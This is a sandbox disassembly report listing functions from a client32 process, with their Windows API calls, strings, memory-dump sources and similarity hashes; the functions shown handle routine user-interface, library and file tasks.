Instruction Fuzzy Hash: ED214875E04329BFD724CE61CC8AF9EB3A8EB4871CF40C439F62A5A580E674E540CB51

Function 11147090 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 76librarytimeloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11145C70: GetVersionExA.KERNEL32(111F1EF0,75A78400), ref: 11145CA0
Part of subcall function 11145C70: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 11145CDF
Part of subcall function 11145C70: _memset.LIBCMT ref: 11145CFD
Part of subcall function 11145C70: _strncpy.LIBCMT ref: 11145DCA

LoadLibraryA.KERNEL32(secur32.dll,EFF676FC,?,?,?), ref: 111470D1
GetProcAddress.KERNEL32(00000000,GetUserNameExA), ref: 111470E9
timeGetTime.WINMM(?,?), ref: 111470FC
timeGetTime.WINMM(?,?), ref: 11147113
GetLastError.KERNEL32(?,?), ref: 11147119
FreeLibrary.KERNEL32(00000000,?,?), ref: 1114713B

Strings

secur32.dll, xrefs: 111470CC
GetUserNameExA, xrefs: 111470DC
GetUserNameEx ret %d, %s, time=%d ms, e=%d, xrefs: 11147126

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryTimetime$AddressErrorFreeLastLoadOpenProcVersion_memset_strncpy
String ID: GetUserNameEx ret %d, %s, time=%d ms, e=%d$GetUserNameExA$secur32.dll
API String ID: 2282859717-3523682560
Opcode ID: 90d5310cb4319c1b2a34e0ee3ba343071ef984b38b0df5c548d3ae9b042d5487
Instruction ID: 239420fb0a48951737c4620445babbd702d2d5c7b2e12e3c68ea42fdfe54a75f
Opcode Fuzzy Hash: 90d5310cb4319c1b2a34e0ee3ba343071ef984b38b0df5c548d3ae9b042d5487
Instruction Fuzzy Hash: 0A219875D04629ABDB149FA5DD44FAFFFB8EB05B14F110225FC15E7A44E73059008BA1

Function 110377F0 Relevance: 15.2, APIs: 10, Instructions: 228COMMON

Download Yara Rule

APIs

GetDlgItemTextA.USER32(?,?,?,00000080), ref: 11037824
SelectObject.GDI32(?,?), ref: 11037872
InflateRect.USER32(?,000000FF,000000FF), ref: 110378C6
GetBkColor.GDI32(?), ref: 11037A5C
InflateRect.USER32(?,000000FF,000000FF), ref: 110378F9

Part of subcall function 111430E0: SetBkColor.GDI32(?,00000000), ref: 111430F4
Part of subcall function 111430E0: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 11143109
Part of subcall function 111430E0: SetBkColor.GDI32(?,00000000), ref: 11143111

InflateRect.USER32(?,000000FF,000000FF), ref: 11037923
GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 11037938
DrawTextA.USER32(?,?,?,?,00000410), ref: 11037AC4
DrawTextA.USER32(?,?,?,?,00000010), ref: 11037B37
SelectObject.GDI32(?,00000000), ref: 11037B49

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Text$ColorInflateRect$DrawObjectSelect$ExtentItemPoint32
String ID:
API String ID: 649858571-0
Opcode ID: 8c3c34273943b99b0013a915077c792c96fcf62e4e8e82a874e7d53c05ba55d1
Instruction ID: f09bb6a206b11b6dc813d6ae8b65a0757b728a19553feb9795e3200704aae7d5
Opcode Fuzzy Hash: 8c3c34273943b99b0013a915077c792c96fcf62e4e8e82a874e7d53c05ba55d1
Instruction Fuzzy Hash: A1A159719006299FDB64CF59CC80F9AB7B9FB88314F1086D9E55DA3290EB30AE85CF51

Function 11025480 Relevance: 15.2, APIs: 10, Instructions: 207windowCOMMON

Download Yara Rule

APIs

SetFocus.USER32(?), ref: 110254CE
GetDlgItem.USER32(?,00001396), ref: 110254E2
CreateCaret.USER32(00000000,00000000,00000000,?), ref: 11025501
ShowCaret.USER32(00000000), ref: 11025515
DestroyCaret.USER32 ref: 11025529

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Caret$CreateDestroyFocusItemShow
String ID:
API String ID: 3189774202-0
Opcode ID: 4efeef9138cc8cf07fe9f319340381759070747349b18f9b79cddb7145ce07d1
Instruction ID: d774194b0a6d8be079c8d936a3d9a24877d34e73af743b83035fdfa72e7830a2
Opcode Fuzzy Hash: 4efeef9138cc8cf07fe9f319340381759070747349b18f9b79cddb7145ce07d1
Instruction Fuzzy Hash: 1E61D375B002199BE724CF64DC84BEE73E9FB88701F504959F997CB2C0DA76A841C7A8

Function 6EF0CE00 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6EF0CE20

Part of subcall function 6EF11913: std::exception::exception.LIBCMT ref: 6EF11928
Part of subcall function 6EF11913: __CxxThrowException@8.LIBCMT ref: 6EF1193D
Part of subcall function 6EF11913: std::exception::exception.LIBCMT ref: 6EF1194E

_memmove.LIBCMT ref: 6EF0CEA7
_memmove.LIBCMT ref: 6EF0CECB
_memmove.LIBCMT ref: 6EF0CF05
_memmove.LIBCMT ref: 6EF0CF21
std::exception::exception.LIBCMT ref: 6EF0CF6B
__CxxThrowException@8.LIBCMT ref: 6EF0CF80

Strings

deque<T> too long, xrefs: 6EF0CE1B

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$std::exception::exception$Exception@8Throw$Xinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 827257264-309773918
Opcode ID: 41bcaa1412b6e21d7aad6e5c9961f4ca5a20ba89b23d6ee8acfeda130b287e46
Instruction ID: b33f7f7681400820916409a774d98628f604ee5b5d1b5593745ec7cc658d6fac
Opcode Fuzzy Hash: 41bcaa1412b6e21d7aad6e5c9961f4ca5a20ba89b23d6ee8acfeda130b287e46
Instruction Fuzzy Hash: 7441C9B2E001059BDB04CEE8CCB1ADEB7B9EF94214F198669D818DB344E774EA01C7E1

Function 110351C0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 110351E0

Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612AE
Part of subcall function 11161299: __CxxThrowException@8.LIBCMT ref: 111612C3
Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612D4

_memmove.LIBCMT ref: 11035267
_memmove.LIBCMT ref: 1103528B
_memmove.LIBCMT ref: 110352C5
_memmove.LIBCMT ref: 110352E1
std::exception::exception.LIBCMT ref: 1103532B
__CxxThrowException@8.LIBCMT ref: 11035340

Strings

deque<T> too long, xrefs: 110351DB

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$std::exception::exception$Exception@8Throw$Xinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 827257264-309773918
Opcode ID: 9fd23bf6dac31a49ae45c6df2bf8e53b139aa7f77a234edd96a6a4a66ff4c3c5
Instruction ID: 821c9d64e9829e99cd7e27c5d42d77d1d91c6fa62e2a3a65c26b72f4499baf16
Opcode Fuzzy Hash: 9fd23bf6dac31a49ae45c6df2bf8e53b139aa7f77a234edd96a6a4a66ff4c3c5
Instruction Fuzzy Hash: 714175B6E101059FDB04CEA8CC81AAEB7FAABD4215F19C569E809D7344EA75EA01C790

Function 11019350 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 11019370

Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612AE
Part of subcall function 11161299: __CxxThrowException@8.LIBCMT ref: 111612C3
Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612D4

_memmove.LIBCMT ref: 110193F7
_memmove.LIBCMT ref: 1101941B
_memmove.LIBCMT ref: 11019455
_memmove.LIBCMT ref: 11019471
std::exception::exception.LIBCMT ref: 110194BB
__CxxThrowException@8.LIBCMT ref: 110194D0

Strings

deque<T> too long, xrefs: 1101936B

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$std::exception::exception$Exception@8Throw$Xinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 827257264-309773918
Opcode ID: bae61be491e2bb3249092c57a3b297af750743dd0981f067cd33e8b54ce2a0b4
Instruction ID: 6a0b8da8f8671f5151ad1a9c663becfdb7ffb53f3c5f022c538811db2e8c78d4
Opcode Fuzzy Hash: bae61be491e2bb3249092c57a3b297af750743dd0981f067cd33e8b54ce2a0b4
Instruction Fuzzy Hash: C54168B6E001159BDB04CE68CC81AAEF7F9AF94318F19C569D809DB349FA75EA01C790

Function 6EEF3E90 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 157COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6EEF3EB0

Part of subcall function 6EF11913: std::exception::exception.LIBCMT ref: 6EF11928
Part of subcall function 6EF11913: __CxxThrowException@8.LIBCMT ref: 6EF1193D
Part of subcall function 6EF11913: std::exception::exception.LIBCMT ref: 6EF1194E

_memmove.LIBCMT ref: 6EEF3F39
_memmove.LIBCMT ref: 6EEF3F5D
_memmove.LIBCMT ref: 6EEF3F97
_memmove.LIBCMT ref: 6EEF3FB3
std::exception::exception.LIBCMT ref: 6EEF3FFD
__CxxThrowException@8.LIBCMT ref: 6EEF4012

Strings

deque<T> too long, xrefs: 6EEF3EAB

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$std::exception::exception$Exception@8Throw$Xinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 827257264-309773918
Opcode ID: e0539c7ee266fb0dfa4b474291ebf43c9692df637b2ef14dc78e056010552c2e
Instruction ID: aea534f404a3304e59e98c22d83e2cff966e8f998af60dc318dd5c4145a47f32
Opcode Fuzzy Hash: e0539c7ee266fb0dfa4b474291ebf43c9692df637b2ef14dc78e056010552c2e
Instruction Fuzzy Hash: E141B872E00209DBDB04DEE8CC95ADEB7B9EF90214F298669E814D7344E774EA4187D1

Function 111194B0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 153COMMON

Download Yara Rule

APIs

Part of subcall function 11113040: GetClientRect.USER32(?,?), ref: 1111306A

GetWindowRect.USER32(?,?), ref: 111194E1
MapWindowPoints.USER32(00000000,111239E6,?,00000002), ref: 111194FA
GetClientRect.USER32(?,?), ref: 11119508
GetScrollRange.USER32(?,00000000,?,?), ref: 11119549
GetSystemMetrics.USER32(00000003), ref: 11119559
GetScrollRange.USER32(?,00000001,?,00000000), ref: 1111956C
GetSystemMetrics.USER32(00000002), ref: 11119576

Strings

GetParentDims, wl=%d,wt=%d,wr=%d,wb=%d, cl=%d,ct=%d,cr=%d,cb=%d, dl=%d,dt=%d,dr=%d,db=%d, xrefs: 111195BC

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Rect$ClientMetricsRangeScrollSystemWindow$Points
String ID: GetParentDims, wl=%d,wt=%d,wr=%d,wb=%d, cl=%d,ct=%d,cr=%d,cb=%d, dl=%d,dt=%d,dr=%d,db=%d
API String ID: 4172599486-2052393828
Opcode ID: 25663d0ab3fb6dd7e3eee4b612ed1c5879d89d1bfa55b3a52e18faf4dfa943c1
Instruction ID: 912fb1d3c2cdad7c34c8054a8beb9bd8394091149dbdaf68818a53be5a6566d8
Opcode Fuzzy Hash: 25663d0ab3fb6dd7e3eee4b612ed1c5879d89d1bfa55b3a52e18faf4dfa943c1
Instruction Fuzzy Hash: E051F8B1900609AFDB14CFA8C980BEEFBF9FF88314F104569E526A7244D774A941CF60

Function 11009740 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 148fileCOMMON

Download Yara Rule

APIs

Part of subcall function 110B7DF0: GetModuleHandleA.KERNEL32(kernel32.dll,ProcessIdToSessionId,00000000,00000000), ref: 110B7E16
Part of subcall function 110B7DF0: GetProcAddress.KERNEL32(00000000), ref: 110B7E1D
Part of subcall function 110B7DF0: GetCurrentProcessId.KERNEL32(00000000), ref: 110B7E33

wsprintfA.USER32 ref: 1100977F
wsprintfA.USER32 ref: 11009799
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 11009883

Strings

Store\, xrefs: 11009820
ApprovedWebList, xrefs: 11009788
.%u, xrefs: 11009779
%s%s.htm, xrefs: 11009793

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$AddressCreateCurrentFileHandleModuleProcProcess
String ID: %s%s.htm$.%u$ApprovedWebList$Store\
API String ID: 559337438-1872371932
Opcode ID: 75e124715683d0050a8ee82640661044f3f240f0669dfaf61e393b75286c4924
Instruction ID: 771b4b075f664bf931435fe457300570bff5ff9721ddd3c1a78cab015962a136
Opcode Fuzzy Hash: 75e124715683d0050a8ee82640661044f3f240f0669dfaf61e393b75286c4924
Instruction Fuzzy Hash: 4351D331E0025E9FEB15CF689C91BDABBE4AF09344F4441E5D99DEB341FA309A49CB90

Function 11025320 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 128windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 11025351

Part of subcall function 11025000: SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 11025036
Part of subcall function 11025000: SendMessageA.USER32(?,000000BA,00000000,00000000), ref: 11025049
Part of subcall function 11025000: SendMessageA.USER32(?,000000BB,-00000001,00000000), ref: 1102505A
Part of subcall function 11025000: SendMessageA.USER32(?,000000C1,00000000,00000000), ref: 11025065
Part of subcall function 11025000: SendMessageA.USER32(?,000000C4,-00000001,?), ref: 1102507E
Part of subcall function 11025000: GetDC.USER32(?), ref: 11025085
Part of subcall function 11025000: SendMessageA.USER32(?,00000031,00000000,00000000), ref: 11025095
Part of subcall function 11025000: SelectObject.GDI32(?,00000000), ref: 110250A2
Part of subcall function 11025000: GetTextExtentPoint32A.GDI32(?,00000020,00000001,?), ref: 110250B8
Part of subcall function 11025000: SelectObject.GDI32(?,?), ref: 110250C7
Part of subcall function 11025000: ReleaseDC.USER32(?,?), ref: 110250CF

SendMessageA.USER32(00000000,000000C1,00000000,00000000), ref: 110253C9
SendMessageA.USER32(00000000,000000B1,00000000,-00000002), ref: 110253DA
SendMessageA.USER32(00000000,000000C2,00000000,00000000), ref: 110253E8
SendMessageA.USER32(00000000,0000000E,00000000,00000000), ref: 110253F1
SendMessageA.USER32(00000000,000000B1,?,?), ref: 11025425
SendMessageA.USER32(00000000,000000C2,00000000,00000000), ref: 11025433

Strings

8, xrefs: 110253A9

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageSend$ObjectSelect$ExtentItemPoint32ReleaseText
String ID: 8
API String ID: 762489935-4194326291
Opcode ID: 6d55198dcb8903f7cb199ecb074005425c4f27be9449354806f6e1afde77a9a3
Instruction ID: 930c0c8f097ea1a0c561faf68991d79795fa3a28e1f50edb77ad2a2483817317
Opcode Fuzzy Hash: 6d55198dcb8903f7cb199ecb074005425c4f27be9449354806f6e1afde77a9a3
Instruction Fuzzy Hash: B6419471E01219AFDB14DFA4CC41FEEB7B8EF48705F508169F906E6180DBB5AA40CB69

Function 11005210 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 1100521E
_memset.LIBCMT ref: 11005240
GetMenuItemID.USER32(?,00000000), ref: 11005254
CheckMenuItem.USER32(?,00000000,00000000), ref: 110052B1
EnableMenuItem.USER32(?,00000000,00000000), ref: 110052C7
GetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 110052E8
SetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 11005314

Strings

0, xrefs: 1100524D

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

